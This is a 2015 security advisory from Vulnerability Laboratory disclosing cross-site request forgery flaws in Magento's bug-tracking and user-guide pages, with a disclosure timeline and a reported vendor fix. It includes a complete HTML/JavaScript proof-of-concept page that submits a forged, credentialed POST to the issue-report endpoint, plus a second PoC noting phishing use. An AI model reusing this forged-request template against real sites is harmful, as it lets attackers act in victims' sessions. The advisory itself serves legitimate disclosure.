Ebay Magento Cross Site Request Forgery

`Document Title:  
===============  
Magento Bug Bounty #24 - Multiple CSRF Web Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1643  
  
APPSEC-1122  
  
Video: http://www.vulnerability-lab.com/get_content.php?id=1642  
  
  
  
Release Date:  
=============  
2015-11-11  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1643  
  
  
Common Vulnerability Scoring System:  
====================================  
3.4  
  
  
Product & Service Introduction:  
===============================  
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed   
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned   
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model   
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.  
  
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting   
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability   
inside our system, please tell us right away.  
  
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Core Research Team discovered multiple client-side cross site request forgery vulnerabilities in the official Magento online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-09-24: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)  
2015-09-24: Vendor Notification (Magento Security Team - Bug Bounty Program)  
2015-09-30: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program)  
2015-10-25: Vendor Fix/Patch (Magento Developer Team)  
2015-10-30: Bug Bounty Reward (Magento Security Team - Bug Bounty Program)  
2015-11-06: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
Multiple client-side cross site request forgery web vulnerabilities has been discovered in the official Magento online service web-application.  
The vulnerability allows remote attacker to manipulate client-side web-application to browser requests to unauthorized execute application functions.  
  
The vulnerability is located in the document form POST method request of the vulnerable `/ce/user_guide/` and `/products/bug-tracking/report/saveIssue/` modules.  
Remote attackers with low privileged web-application user accounts are able to inject own malicious script codes to unauthorized execute application functions with   
valid session credentials. The request method to inject is POST and the attack vector is located on the client-side of the magento online-service.  
  
The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the cross   
site request forgery web vulnerabilities requires a low privileged web application user account and low or medium user interaction. Successful exploitation results in   
client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent manipulation of affected or connected service modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Service(s):  
[+] magentocommerce.com  
[+] merch.docs.magento.com  
  
Vulnerable Module(s):  
[+] /ce/user_guide/  
[+] /products/bug-tracking/report/saveIssue/  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerabilities can be exploited by remote attackers with low privileged magento web-application user account and low or medium user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
PoC #1: CSRF  
<html>  
<body>  
<script>  
function submitRequest()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST",  
"http://www.magentocommerce.com/products/bug-tracking/report/saveIssue/", true);  
xhr.setRequestHeader("Accept",  
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "multipart/form-data;  
boundary=---------------------------19231779319179266351580746291");  
xhr.withCredentials = true;  
var body =  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"title\"\r\n" +  
"\r\n" +  
"test\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"type\"\r\n" +  
"\r\n" +  
"1\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"version\"\r\n" +  
"\r\n" +  
"17340\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"description\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"steps\"\r\n" +  
"\r\n" +  
"test\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"files[]\"; filename=\"\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"expected_result\"\r\n" +  
"\r\n" +  
"test\r\n" +  
"-----------------------------19231779319179266351580746291\r\n" +  
"Content-Disposition: form-data; name=\"actual_result\"\r\n" +  
"\r\n" +  
"test\r\n" +  
"-----------------------------19231779319179266351580746291--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
</script>  
<form action="#">  
<input type="button" value="Submit request" onclick="submitRequest();" />  
</form>  
</body>  
</html>  
  
Reference(s):  
http://www.magentocommerce.com/  
http://www.magentocommerce.com/bug-tracking/  
http://www.magentocommerce.com/bug-tracking/report  
  
  
  
PoC #2: CSRF  
  
URL: http://merch.docs.magento.com/ce/user_guide/Magento_Community_Edition_User_Guide.html  
Note: Remote attackers are able to inject own websites/webpages with fake login for phishing attacks against the login users  
  
Reference(s):  
http://merch.docs.magento.com/  
http://merch.docs.magento.com/ce/  
http://merch.docs.magento.com/ce/user_guide/Magento_Community_Edition_User_Guide.html  
  
  
Security Risk:  
==============  
The security risk of the cross site request forgery web vulnerabilities in the magento online service are estimated as medium. (CVSS 3.4)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Hadji Samir ([email protected]) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
([email protected] or [email protected]) to get a permission.  
  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: [email protected]  
PGP KEY: http://www.vulnerability-lab.com/keys/[email protected]%280x198E9928%29.txt  
  
`